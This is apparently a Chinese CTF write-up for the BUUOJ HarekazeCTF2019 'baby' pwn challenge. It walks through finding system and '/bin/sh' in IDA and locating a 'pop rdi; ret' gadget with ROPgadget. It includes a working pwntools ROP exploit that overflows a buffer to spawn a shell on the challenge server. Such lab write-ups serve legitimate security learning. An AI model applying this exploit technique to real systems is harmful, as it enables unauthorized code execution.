先用IDA64打开,发现scanf看一眼存入数据的位置
熟悉的味道
按一下shift f12
system函数和/bin/sh都给了那就不客气了
困难题我唯唯诺诺,简单题我重拳出击
思路明确,现在还需要pop rdi,ret来传一下参数(str“/bin/sh)到system里
这个时候用到了ROPgadget
里面的babyrop是这道题的文件名,其他题换一下就ok
现在找到了地址,准备工作完成,敲python
有一点需要注意的是,咱们明明找的是400683,搁ida里咋面目全非
其实是这块翻译串了,如果把这里的二进制拿出来,从中间开始读,也就是400683,再翻译过来就成了pop rdi,ret了,不用太在意
python代码
from pwn import*
r=remote('node4.buuoj.cn',27198)
shell=0x601048
system=0x400496
rdi=0x400683
payload=b'a'*(0x10+8)+p64(rdi)+p64(shell)+p64(system)
r.sendline(payload)
r.interactive()
本以为可以直接cat flag了,但是却显示找不到,这里输入find -iname 'flag'
把地址复制下来,再运行一次
输入:cat 地址
flag出来了
今天任务搞定 无限火力真好玩


![PWN——Buuoj [HarekazeCTF2019]baby PWN——Buuoj [HarekazeCTF2019]baby](http://www.mshxw.com/aiimages/31/715499.png)
